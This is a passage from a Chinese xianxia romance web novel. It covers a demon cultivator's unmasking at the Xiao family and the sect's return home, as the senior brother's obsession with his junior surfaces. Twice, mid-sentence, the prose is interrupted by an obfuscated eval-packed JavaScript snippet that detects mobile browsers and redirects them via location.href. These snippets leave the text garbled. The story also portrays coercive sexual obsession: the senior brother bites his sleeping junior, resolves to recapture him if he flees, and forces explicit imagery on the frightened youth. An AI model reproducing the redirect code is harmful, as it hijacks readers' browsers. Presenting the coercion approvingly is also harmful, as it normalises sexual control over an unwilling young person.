元婴修士本命剑露面闹出的动静不小,而寿宴也恰好刚结束,所以萧老族长和一众萧家后辈很快就及时赶到了。 他们赶来时,宋尽遥虽没有取魔修性命,但已经废掉了对方的全部修为。 那魔修没了法力,四肢变得更加干瘪,一张与萧阅霜一模一样的脸庞也变得灰白深陷。 只剩一双诡异的魔族紫瞳,燃着凶恶的光。 萧老族长终日受魔修迷心咒所蛊惑,在他眼里,对方一直与自己儿子往日的模样没有任何不同。 如今迷心咒破,又陡然看见自己的儿子变成了这幅模样,萧老族长双膝一软,几乎要晕厥过去。 身旁的小辈及时将他搀扶住。 老族长拄着的拐杖不住抖动,他颤巍巍走到魔修跟前,一时难以接受。 “我儿呢?”老者神情凄然,茫然四顾,“我儿阅霜为何会变成这样?” 许采采看得心中难受,但还是轻声开了口:“族长,他不是您的儿子。” “他是擅用迷心咒的魔修,利用幻境欺骗了您。” 老族长与魔修打了几百年的交道,听许采采这么一说,怎么可能想不明白是怎么回事。 但他身体虚弱,此时又大受打击,一时精神恍惚,难以镇定。 “那我的孩子哪里去了?”他声音颤抖,心存一线希望般,用浑浊的双眼望向那魔修。 魔修身上还插着剑,修为也彻底被毁,此刻便破罐子破摔了。 他不以为意地讥笑一声:“你儿子萧阅霜早就死了。我啃了他的骨头,吃了他的肉,把他的皮扒下来穿到了我身上。” 他本就是一个在魔界四处游荡的低阶魔,因为打斗能力差,只会使些阴险的小把戏,受同族所排挤。 所以便学会了偷跑来修真界暗中害人。 当日,萧阅霜与几个大魔缠斗直九溪城外的悬崖处时,他刚好在附近。 因嗅到了强烈的同族气息,便想赶去凑凑热闹,浑水摸鱼。 不过,他去的有些晚,赶到的时候,打斗已经结束了。 几个大魔全死了不说,萧阅霜也因为身受重伤,最终与大魔同归于尽,断了气。 魔修本来不打算做什么,他只是将几个大魔包括萧阅霜身上能用的法器衣物全部搜罗走,便打算偷偷离开。 却不想又撞见了萧家赶来寻人。 看到萧老族长死活不愿承认真相,连续三天三夜毫不停歇地找寻儿子,几乎要到神志错乱的地步时,魔修这才临时起了念头。 萧老族长希望儿子生还的执念如此深重而纯粹,这种情况可不多见。 他不利用岂不可惜? 于是穿上萧阅霜的皮,魔修果然利用萧老族长深切的爱子之心,轻轻松松便蛊惑了这位修真界大能。 沉浸在儿子活着回来了的狂喜与欣慰之中,萧老族长全然分不清虚假与现实,甚至看不出魔修身上的种种破绽。 魔修就这样跟着萧老族长进入了九溪城。 他每日都会找机会吸食老族长的灵力与修为,借此来掩盖自己身上的魔气,便也欺瞒住了整个萧家乃至整个九溪城的大小修士。 此次萧老族长办寿宴,会有无数名来自各地的修士汇聚在萧家。 这对伪装成萧阅霜的魔修而言,简直就是一场大餐。 他本就打算找些来路远的修士,在不易被发现的同时暗中蛊惑对方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15251391|166399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饱餐一顿。 正是因为对许采采的主意,令他盯上了长清宗一行人。 魔修原本都打好了如意算盘。 宋尽遥与谢问玉的修为都不错,只吸干他们两个人,也够他修为大增,在魔界落脚了。 届时他便金盆洗手,拐带许采采回圣域过快活日子。 梦做的太美,却没想到实施起来,许采采丝毫不受蛊惑就算了,宋尽遥更是可怕。 对方的神志像是用铜墙铁壁围着似的,居然在深陷幻境的情况下还能那么警觉地重击他。 魔修每次蛊惑住他人后,都会看戏般钻进对方的幻境里观赏一番,以满足自己的窥私欲。 而宋尽遥这人防备之深,他竟连对方幻境的一丝残影都看不见。 知道自己是踢到了铁板,但事已至此,早就迟了。 事情的最后,是萧老族长手刃了魔修。 许采采他们三人已经出了客房,在院落里静静等候。 过了许久,萧老族长才由人搀扶着,步伐缓慢地从客房里出来。 这是已过子时。 原本被阴云遮蔽的圆月竟又出现,莹润月光洒落一地。 虽说刚刚经受完巨大的打击,但又因为没了魔修的蛊惑,以及不再被吸食修为,萧老族长的气色竟比之前还要好些,远没有那么枯槁。 但毕竟经历完丧子之痛,老者这时还是神情悲痛,难以抽离的模样。 跟在他身后的一众萧家后辈,也是面容沉重。 家里发生这种事,还是在老人的寿辰当天,许采采也实在替人难受。 但这毕竟是萧家私事,而他们只能算远道而来的外人,并不宜插手过多。 所以等萧老族长出来后,他们便先出声告辞,留给萧家人处理后事的空间。 “晚辈暂回客栈留宿,族长有任何需求,晚辈随时恭候。”宋尽遥一如既往地冷淡,朝老族长行礼道。 谢问玉也很快补充:“我们明日再来,您老保重身体。” 萧老族长这时也顾不得再多言感谢的话,只力竭般点了点头,叫人送他们出了萧府大门。 夜太深,寿宴宾客早已散去,街上商贩也已经收摊回家,回客栈的长街上一时十分冷清。 三人边聊边走,多是谢问玉与许采采在说话。 谢问玉先是就萧阅霜之死唏嘘了一番,才想起来谈他极为在意的话题。 “听那恶心人的魔修说,你俩都没受幻境影响?”谢问玉面色难看,“就我一个人被他蛊住了?” 他先是看向许采采:“采采,你很牛嘛,你被施迷心咒时,当真就没有任何幻境?” “有的,”他们两人之间隔着一个宋尽遥,许采采踢着脚下的小石子,答道,“我的幻境就是在微明峰,与我平时的日子没什么两样。” 他若有所思地总结道:“我想我没受迷惑,应该是因为我现在就已经得到了最想要的事物了吧。” “嘁,”谢问玉做出师兄的姿态教育他,“你这孩子,年纪轻轻便没了野心,如此不争不抢可怎么行?” 许采采才不赞同他的话,跟他做鬼脸。 谢问玉假装没看见,又去问宋尽遥。 “你呢?连采采都有幻境,你肯定也有吧,是什么样?” “……” 这话问出来,宋尽遥本人毫无反应,倒是许采采替他心虚似的,连忙悄悄抬眼去看他师兄的表情。 可惜他师兄神情毫无变化。 只颇为冷漠地瞥了谢问玉一眼,显然不准备答。 许采采见状撇撇嘴,视线却不受控制地往下移,看向宋尽遥腰腹的位置…… 他真的好想知道,为什么他师兄陷入幻境后,那个地方的反应会那么强烈。 许采采简直是苦思冥想。 少年皱眉心想,难道他师兄表面高冷淡漠,其实内心……是个很重欲的人? 那得多重欲,当时才会那么难叫醒啊。 许采采思绪越想越发散,却见他一直盯着的位置忽然停住,是他师兄站住了脚步。 谢问玉一脸莫名其妙,许采采也是陡然回神地抬起头。 猝不及防便对上宋尽遥冷厉的一双眼。 “认真看路。”他冷声提醒许采采。 “……哦。” 许采采当即面红耳赤,捂住脸快步往前走了。 不是因为别的,只因意识到自己居然那般揣度一向严谨端正的师兄,心中不免又羞又愧罢了。 16. 十六 第二日一大早,许采采等人还没出客栈,便已听见聚在楼下的修士们正在热切讨论萧阅霜殉道一事。 萧老族长怕是彻夜未眠。 经过这一晚上的商讨,萧家不仅直接公布了萧阅霜因除魔牺牲的消息,连带萧老族长作为一城之主,居然受魔修蒙蔽一月有余的实情,也未作任何隐瞒。 参与寿宴的各路宾客都还没离开九溪城。 这一公布,消息怕是很快便会传遍整个修真界,说不准还会影响萧家乃至九溪城的威望。 然而老族长只用一夜便做下了这一决定。 一是萧家治理九溪城,向来便是以诚信为善作为原则。 即使在这种事上,亦不能欺瞒修士百姓。 二则,萧阅霜是为保护一方百姓而战死,死得其所,尸身却被歹人利用。 老族长痛惜爱子,必须还儿子一个真相。 事情已尘埃落定,许采采等人便也按照原本的计划,去往萧府道辞。 萧老族长毕竟是一城之主,见过不少大风大浪。 一夜过去,他的状态比昨晚看上去好多了。 彻底没有了迷心咒与魔修的毒害,老族长的情绪与精神气都比之前强上不少。 虽仍心有悲痛,但招待许采采等人时,老者身形稳健,面容安定,一双眼睛也不再浑浊。 任谁看见这样的老族长,都会信服这位老人瘦弱的肩膀上,的确担得起一座城的重任。 丧子之痛怕是永远难以消解,但认清儿子的死反而令老族长选择振作。 这座儿子付出性命来保护的城,他更要继续好好守护,才不算辜负。 许采采他们见老族长状态稳定,萧家上下也逐渐恢复井然有序,便也放下心来,说出告辞的话。 萧老族长却走到他们跟前,握住他们的手,目光慈爱。 “昨夜事发突然,难免疏忽你们。魔修一事,最该感谢你们以身犯险,及时发现。”老族长轻声叹息,语气感慨道,“若不是你们,我受那魔修蛊惑之深,怕是到死都不会发觉。” “是你们救了我老头子一命。” 老族长把他们的举手之劳说得这么重大,许采采他们自然是愧不敢当,拱手推辞。 萧老族长却已经叫人搬出数箱法宝与灵石,非要让他们带走不可。 那么大的储物箱中,每一件法宝都足够珍贵。 且因为相距过远,里头的东西都是九溪城特有的,在长清宗那边则极难见到。 许采采他们推辞不掉,又听萧老族长正色保证:“救命之恩,我老头子已然铭记。今后若是长清宗有所需求,只需知会一声,萧家定会倾力相助。” 当日傍晚,长清宗众弟子在萧家人的目送下,乘坐飞舟离开了九溪城。 这几日里发生的事不少,来时激动玩闹的众弟子们,在返程中因为疲惫而安静许多,都早早回房聊天休息了。 入了夜,周遭更是变得又暗又静。 站在飞舟甲板上往外看,透过光影流动的结界,天边的闪烁星光似乎触手可及。 宋尽遥在飞舟周围例行巡查,刚来到甲板上没多久,身后便传来慢慢悠悠的脚步声。 谢问玉手里拿着两小坛酒,径自找个安稳位置席地而坐。 他自己饮了一口,又将另一坛酒朝宋尽遥递过去,问对方喝不喝。 看清宋尽遥的脸时,谢问玉皱了一下眉。 “你脸色怎么这么差?” 又白又冷的,比死人还难看。 谢问玉忍着没说出后半句。 宋尽遥面无表情,没有理他。 只是在谢问玉以为他肯定又要拒绝饮酒时,修士接过酒坛,揭了盖子,仰头饮下一口。 因为极少喝酒,宋尽遥咽下时眉头皱了一下,又很快恢复平展。 谢问玉望着夜色,独自感慨。 “我想了想,当时要是我独自应对那个魔修,肯定得吃大亏。” 身为长清宗掌门亲传大弟子,居然那么容易就被蛊惑住,还是因为攀比之心。 谢问玉觉得自己很丢面子。 他心里郁闷,举高坛子本想与宋尽遥碰上一碰,抬头却见对方一脸冷漠,似乎在想什么别的事,压根没打算搭理他。 “啧。”谢问玉不由翻了个白眼,自己举着酒坛抬头猛灌。 又沉默了许久,谢问玉似是借着酒意做足了心理准备般,再次幽幽开口。 “宋尽遥,这次算我服你。” 因为被人唤了名字,宋尽遥这才垂眸,与坐在地上的谢问玉对视。 谢问玉虽然还显得不情不愿,但语气是真诚的:“你完全不受幻境迷惑,说明你心志优于常人,的确厉害。” 宋尽遥眸色微动,皱了眉。 总算开口:“你有所误会,我并非未受迷惑……” 话音刚落,便被谢问玉挥手截下。 “行了,夸你一句你还假装谦虚上了,”他指着宋尽遥道,“这次,算你跟采采救我一次。” 这种话一旦开了头,后面的便好说多了。 谢问玉又抱着酒坛子独自买醉。 萧老族长特意赠送的烈酒不容小觑,谢问玉很快便显出醉态来。 他打了个酒嗝,歪歪扭扭靠坐在木板上,用大彻大悟的语气絮叨道:“以后我不再处处对你有偏见就是,真要竞争就光明正大地来。 “就算我师尊真将你当做接班人培养,我也不会再嫉妒,我承认你在某些方面是比我强了那么一丁点。 “还有,他们都只喊你大师兄,这也算你应得的。” 谢问玉一直认为宋尽遥抢了他的风头,对此过分耿耿于怀。 所以在幻境里,他都夺了回来。 整个长清宗上下,从掌门到各弟子,人人都说宋尽遥不如他。 他得意极了。 可幻境中的宋尽遥也是现在这般淡漠模样,似乎毫不在意。 谢问玉后来当真做了掌门,他便总是以整个宗门施压,故意支使宋尽遥去做各种最为危险的任务。 而宋尽遥却从不推辞半句。 即使不再受大家追捧,对方仍旧一次次为长清宗出生入死,除魔卫道。 谢问玉顿时便觉得很没意思。 他一个人在这里争来争去,真是太没意思了。 即使真的处处都胜过了宋尽遥,好像也不怎么令人高兴。 倒还不如像萧阅霜一般,多杀几个危害百姓、为祸修真界的魔头来得痛快。 谢问玉无聊地用脑袋一下下往酒坛子上撞,后悔自己居然这么晚才想明白。 却听宋尽遥淡声开口:“我无心掌门一职,所以无法胜任。你志向在此,便可胜任。” 在不涉及许采采的领域,宋尽遥的情绪一向冷漠,无法与任何人共情。 思维也是颇为死板。 “至于称谓。”修士神情冰冷地稍稍思索着。 他不在意这个,也不理解谢问玉因何在意,便硬声道:“今后众师弟再唤大师兄一称,你应答,我不应答就是。” “……” 谢问玉当即无语地呸呸呸。 “你哄傻子呢!”他没好气地瞪宋尽遥,“我才不稀罕这个!” “……” 宋尽遥皱眉,眸中也露出几分无语来,干脆直接不再看他。 谢问玉这人反反复复,莫名其妙得很,他不想搭理了。 两个人谁也不想理谁,可沉默半晌,谢问玉再次憋不住般开了口。 “诶,那你将来不想着功成名就,想干什么?” 谢问玉想了想,皱眉:“难道你也跟许采采一 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许采采的眉头果然慢慢舒展了。 确定了身旁的人就是自己师兄,他不再乱动,很快满意地把一条腿翘到宋尽遥身上,踏实入睡。 这期间宋尽遥并没有任何动作,只垂眼盯着人看。 一直到师弟彻底睡熟,他才微微侧身,抬起手臂将人缓慢地抱紧。 停驻在师弟乖巧睡颜上的视线不受控地下移,最终落在那片润红的嘴唇上。 修士眸色渐暗,眼里陡然翻起的偏执情绪似要直接将人吞没。 谢问玉说他心志奇坚,没有欲望不受蛊惑,宋尽遥受之有愧。 因为他才是所受影响最深的一个。 虽然那迷心咒幻境极为短暂,但自从中抽离的那一刻开始,宋尽遥只要稍一闭眼,眼前便全是当时刺目而荒淫的景象。 从他发觉自己对师弟抱有的龌龊心思以来,那些见不得人的欲念便一直被他强行镇压着。 谁知区区一个低阶魔修的迷心咒,却陡然打开了阻拦汹涌洪水的闸门。 欲念在一瞬之间全然化成点燃的烈火,每时每刻都在心神中迅速蔓延。 火舌灼烧着为数不多的理智,而宋尽遥本人却对此彻底失去了控制。 甚至他有所顾忌的那些缘由,什么不得罔顾伦理,害怕吓到采采,害怕被采采厌恶,都像是在一夜之间被烧成了灰烬。 这一天一夜里,宋尽遥表面毫无异常,内里却早已像是得了失心疯。 他不断在心中反问自己,那又如何? 他与许采采本就毫无血缘,何来伦理? 采采怕他,他便多努力,多学习,对采采再好一点,多温柔一点。 若是采采当真讨厌了他,想要逃离他。 他也有的是方法把人抓回来。 意识稍稍清醒些许的时候,宋尽遥发现许采采的手不知何时被自己握在了掌心。 少年那截柔软白净的手指被修士含在嘴里,指腹被咬出浅红齿痕,染上色|欲的津液。 牙根阵阵发痒。 理智告诉宋尽遥应当立刻停下,可冲动却促使他咬得更深。 直至睡梦中的人感受到痛意,不满地低哼了一声,宋尽遥才身形一僵,灰白双眼总算恢复清明。 他呼吸急重,垂着眼皮,在灯光下仔细端详被他弄脏的指节。 半晌,修士才拿出丝帕,慢条斯理地裹住,给师弟细致地擦干净。 齿痕也被施法抚去。 确认没再留下任何痕迹,宋尽遥便熄灭夜明灯,抱着怀里的人闭上了眼。 17. 十七 在飞舟上的这几天,即使宋尽遥已经使用法术掩饰面色,但还是被日夜相处的许采采察觉了异常。 许采采发现他师兄身上的气场一天比一天冷,话也一天比一天少。 似乎就是从离开九溪城开始的。 少年心生担忧,不止一次攥着他的师兄的手,问对方是不是哪里不舒服。 宋尽遥的神情一如往常,只冷淡地否定。 之后再不露声色地拨开两人交叠的手指。 一行人安安稳稳回到长清宗后,掌门在大殿上接待一众弟子。 早在飞舟还未抵达宗门之时,掌门就先收到了来自九溪城的信件。 萧老族长亲笔,又将宋尽遥与许采采等人是如何将他从迷心咒中解救出来的事讲述了一遍,并颇为诚恳地表达了感激之情,以及对长清宗后辈的赞许。 长清宗掌门自然也回了信,谦让之余,不忘嘱萧老族长节哀。 此次九溪城一行,宋尽遥与谢问玉以及众弟子,不仅稳妥地完成了任务,还额外帮助萧家铲除魔修,表现极为优异。 掌门挨个给予夸奖,并表示随行的每个弟子都有奖励与假期。 听了这话,原本因为远行而无精打采的众弟子们顿时一改疲态,变得兴奋又开心。 一众年轻弟子叽叽喳喳走出大殿的门,许采采夹在中间,走在回微明峰的大道上时,被几个没去九溪城的同门好友叫住。 对方表示下个月会有一次出宗历练,内门外门弟子皆可参与,问他要不要报名参加。 许采采脑袋低垂,情绪一直不高。 他闻言看了看他师兄已经走出些距离的白色背影,摇头拒绝了。 放在以往,许采采肯定是要去凑热闹的。 但他现在实在是没那份兴致。 他师兄真的很不对劲,像是生了什么病。 许采采很担心,所以这几天他更想守在宋尽遥身边。 …… 师兄弟二人一前一后进了微明峰。 许采采一路小跑进入内室,本想嘱咐他师兄太累的话就好好休息一下,但未来得及张口,就先看见宋尽遥手中拿着储物袋,正在专注整理什么。 少年顿觉疑惑,跟过去看。 发现宋尽遥整理的都是他的东西。 宋尽遥常年照看许采采起居,师弟的一切吃穿用度向来都是由他管理,也只有他最熟悉。 许采采自己从没操过一点心。 这会儿,宋尽遥已经将许采采每天要穿的衣物,要吃的零食,以及需要用到的课册法器等等物件,全都按照日子一一分装好了。 这是宋尽遥需要离宗处理公务,不得不把许采采独自留在家里时,才会做的事。 许采采当即眉头皱紧,奇怪地问:“师兄,你又要出远门?” 宋尽遥动作不紧不慢。 “不是,”他抬眸看了眼师弟,又移开,“只是需要去暗室闭关一段时日。” 听到这个回答,许采采的神情却没有缓和多少,反而更紧张了。 闭关当然可以。 他师兄因为悟性高根骨佳,修行又刻苦,突破得一向比常人要快很多。 在宋尽遥身上,短期的闭关早已是常事。 但许采采这时仔细去观察他师兄的模样,总感觉十分不踏实。 虽然脸上看不出任何变化,似是镇静如常,但许采采就是能感觉得到,宋尽遥的状态很不对劲。 男人明明还是一身白衣,但周身气场却不知何时变得愈发阴冷骇人。 好似阴云密布,风雨欲来。 这点在飞舟上时就很明显了,连只是远远看宋尽遥几眼的其他弟子都能感觉出来。 大家当时有什么事都宁愿去找谢问玉,也没敢靠近宋尽遥半步。 这时许采采与他师兄站在一处,嗅到对方身上的灵气气息,也是十分怪异。 像是十分燥烈,只嗅一嗅便能被染上焦躁情绪。 许采采没见过修士在这种状态下闭关的。 状态太糟糕的话,闭关时又无人帮助,极容易出事。 这是只有筑基期的许采采都懂得的道理。 他一时变得着急了些,跟在宋尽遥身后,正色问道:“师兄,你是不是有事瞒我。” 少年努力回忆一番,语气关切:“难道是在与那个魔修打斗时受了伤?闭关是为了疗伤?” 宋尽遥停下,转身看他,眸中含有安抚的情绪。 忍下抬手揉师弟脑袋的安抚动作,修士淡声答:“没有受伤。” 许采采与这样的目光对视,稍稍镇定了些。 想到自己在飞舟上也是一直与宋尽遥同榻而眠的。 对方身上真有伤的话,他不可能不知道。 现在又将人从头到尾看一遍,少年最终只好妥协了。 “好吧,”他拧着眉,还是不情不愿的,“那你说的一段时日,究竟要多久啊?” 宋尽遥以往只在突破之际,不得已的情况下才会闭关。 时间都很短,几天的功夫就出来了。 但许采采见识过师尊江执道闭关,短则月余,长的话好几年都有。 许采采心里始终忐忑不安,黏着人不住地撒娇:“师兄,你和师尊都闭关,微明峰上就剩我一个了。” “要不这样,”他眼睛一亮,“我陪你一起去暗室吧,我,我可以帮你护法。” 说到后面一句,许采采稍有心虚。 以他的修为,去给元婴修士护法,估计很难帮上忙。 于是稍一抿唇,少年眼巴巴地凑到宋尽遥面前,自己改了口:“我保证进去后就乖乖地待在旁边,绝不打扰到你。” 宋尽遥沉默。 他抬眼与师弟乖巧又明亮的双眸对视片刻,最终还是狠心拒绝了。 只说让许采采听话,并交代若有处理不了的事,就直接找掌门师叔。 …… 头一次,许采采怎么撒娇耍赖都没有让他师兄动摇一丝一毫。 宋尽遥在回宗不到一个时辰后,就又进了暗室。 不起眼的木门外落下阵法封印,许采采不死心地用手指碰碰,很快就被灵力弹了回去。 少年不高兴地撇嘴,又撒气般踢了封印几脚,才一步三回头地离开。 前面几天还好。 许采采不愁吃穿,也遇不上让他感到棘手的难事,每日就和寻常一样,按时起床,按时上课修炼。 只是每天晚上结束课程,与好友道别回到微明峰的第一件事,就是跑到暗室门外,看他师兄今日会不会出关。 但十来天过去了,那阵法始终毫无变化。 别提什么出关的征兆,整个暗室内简直是一片死寂,连灵气波动都没有。 时间长了,许采采便着急起来。 以往宋尽遥哪怕是外出执行十分紧要的任务,也会坚持每晚给他传讯,或是师兄弟二人用传讯玉简聊会儿天。 如此既能报平安,也能缓解许采采思念师兄的情绪。 这次两人只有一门之隔,对方却是彻彻底底的音讯全无。 对情况一无所知,便极容易胡思乱想。 许采采不免又开始惦记着,他师兄闭关前那种像是随时都会走火入魔的古怪状态。 那样去闭关,不会真的走火入魔吧? 许采采只稍有这个念头,手脚便顿时变得冰凉。 于是在连着做了好几晚的噩梦后,少年再次来到暗室门外。 阵法还是一碰就把他弹出半米远,一副拒人千里之外的没礼貌态度。 许采采心里烦躁,把这笔账也算在他师兄头上。 他在台阶处坐下。 少年因为独自乱想太久,已经变得十分不安。 他望着面前紧闭的木门,甚至都在害怕,要是宋尽遥真的在里面出事,自己到时可该怎么办才好。 这么一想,许采采很快就委屈起来。 连日积压的焦虑与担忧也涌上心头凑热闹,许采采用手背用力蹭脸,抹去涌上来的泪。 少年气不过,干脆红着眼睛站起身来,又用力去踹那道封印。 仗着他师兄听不见,他干脆直呼对方大名骂人出气。 “宋尽遥,你太过分了!” 许采采语气凶巴巴的,但可惜因为哭腔太重,气焰全无。 “居然这么狠心撇下你的亲师弟,简直没有良心!” “我一点都不担心你,你干脆把我急死好了。” “……” 骂完一通,许采采心里没什么闷了,才又冷静下来。 他立在原地,皱眉看着面前的封印,心知自己肯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“师兄,你哪里难受?”许采采心疼极了,去握宋尽遥的手,却差点被对方吓人的体温烫到。 但还是与人十指扣紧,慌张无措地问:“跟我说话,师兄,告诉我怎么做能让你好起来?” 这次宋尽遥有了反应。 修士僵硬地偏了偏头,视线追随着许采采,声音低哑到极点:“怎么样采采都愿意?” 许采采自然是毫不停顿地连连点头。 “只要你能好好的,我做什么都行。” 他已然六神无主,又去用力拉宋尽遥的手,想先牵对方起来:“我们去找师尊吧?师尊他……” 话音未落,不仅没有拉动宋尽遥半分,反而是许采采自己被强硬的力道猛地拽下。 他跌落进宋尽遥怀中,紧跟着腰身被紧紧扣住。 不再有机会出声,许采采脑后也被大掌握紧。 宋尽遥全然掌控着他,使两人额头相贴。 霎时间,许采采眼前的景象陡然变化。 他看见了令宋尽遥发狂的场景。 明亮燥热的房间里,许采采看到自己不着寸缕,浑身布满又红又湿的奇怪痕迹。 少年以膝盖支撑趴在榻上,瘦韧脊背不住抽搐。 脑袋不断向前,差点撞上床头时,整个人便又会被一双大掌毫不留情地抓回去。 他的师兄的神情一如既往地冷硬,呼吸却重得吓人。 许采采听着黏腻的水声,以及自己的哭声,大脑早就一片空白。 宋尽遥只向许采采展示了片刻,仿佛冰山一角,便撤开了两人之间的距离。 刺眼的画面已经消失,但许采采却被冲击得耳边阵阵嗡鸣,久久无法回神。 他口唇微张,神情呆滞。 半晌,才眨一下眼睛,缓慢看向宋尽遥:“师兄,你……” 宋尽遥抬手擦去许采采眼角的一片泪痕,动作温柔。 也不知少年是因为担忧他哭的,还是被方才的情景吓哭的。 “采采不是说什么都能为师兄做吗?”修士的嗓音一如既往地平静,“这就是师兄想做的。” 许采采与那双随时要将他吞吃掉的眼睛对视,头皮阵阵发紧。 他怕得连呼吸都在颤抖,最终像是再也支撑不住一般,拼命挣开宋尽遥的怀抱落荒而逃。